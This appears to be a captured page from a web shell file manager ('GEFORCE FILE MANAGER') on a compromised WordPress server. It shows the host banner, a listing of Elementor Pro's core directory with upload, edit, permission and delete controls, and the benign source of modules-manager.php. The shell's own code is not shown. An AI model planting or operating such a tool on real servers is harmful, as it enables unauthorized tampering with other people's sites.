[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
core
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 admin
SET
[ DEL ]
📁 app
SET
[ DEL ]
📁 behaviors
SET
[ DEL ]
📁 compatibility
SET
[ DEL ]
📁 connect
SET
[ DEL ]
📁 data
SET
[ DEL ]
📁 database
SET
[ DEL ]
📁 editor
SET
[ DEL ]
📁 integrations
SET
[ DEL ]
📁 isolation
SET
[ DEL ]
📁 notifications
SET
[ DEL ]
📁 preview
SET
[ DEL ]
📁 security
SET
[ DEL ]
📁 upgrade
SET
[ DEL ]
📁 utils
SET
[ DEL ]
📄 maintenance.php
392 B
SET
[ EDIT ]
|
[ DEL ]
📄 modules-manager.php
2,520 B
SET
[ EDIT ]
|
[ DEL ]
📄 php-api.php
424 B
SET
[ EDIT ]
|
[ DEL ]
📄 utils.php
14,781 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: modules-manager.php
<?php namespace ElementorPro\Core; use ElementorPro\Plugin; use ElementorPro\Base\Module_Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } final class Modules_Manager { /** * @var Module_Base[] */ private $modules = []; public function __construct() { $modules = [ 'query-control', 'custom-attributes', 'custom-css', 'page-transitions', // role-manager Must be before Global Widget 'role-manager', 'global-widget', 'assets-manager', 'popup', 'motion-fx', 'usage', 'screenshots', 'compatibility-tag', 'admin-top-bar', 'notes', 'announcements', 'element-manager', 'checklist', // Modules with Widgets. 'attributes', 'atomic-widgets', 'atomic-form', 'display-conditions', 'transitions', 'theme-builder', 'loop-builder', 'off-canvas', 'posts', 'gallery', 'forms', 'slides', 'nav-menu', 'animated-headline', 'hotspot', 'pricing', 'flip-box', 'call-to-action', 'carousel', 'table-of-contents', 'countdown', 'share-buttons', 'theme-elements', 'blockquote', 'custom-code', 'woocommerce', 'social', 'library', 'dynamic-tags', 'scroll-snap', 'sticky', 'wp-cli', 'lottie', 'code-highlight', 'video-playlist', 'payments', 'progress-tracker', 'mega-menu', 'nested-carousel', 'loop-filter', 'tiers', 'link-in-bio', 'floating-buttons', 'search', 'cloud-library', 'variables', 'editor-one', 'interactions', ]; foreach ( $modules as $module_name ) { $class_name = str_replace( '-', ' ', $module_name ); $class_name = str_replace( ' ', '', ucwords( $class_name ) ); $class_name = '\ElementorPro\Modules\\' . $class_name . '\Module'; /** @var Module_Base $class_name */ $experimental_data = $class_name::get_experimental_data(); if ( $experimental_data ) { Plugin::elementor()->experiments->add_feature( $experimental_data ); if ( ! Plugin::elementor()->experiments->is_feature_active( $experimental_data['name'] ) ) { continue; } } if ( $class_name::is_active() ) { $this->modules[ $module_name ] = $class_name::instance(); } } } /** * @param string $module_name * * @return Module_Base|Module_Base[] */ public function get_modules( $module_name ) { if ( $module_name ) { if ( isset( $this->modules[ $module_name ] ) ) { return $this->modules[ $module_name ]; } return null; } return $this->modules; } }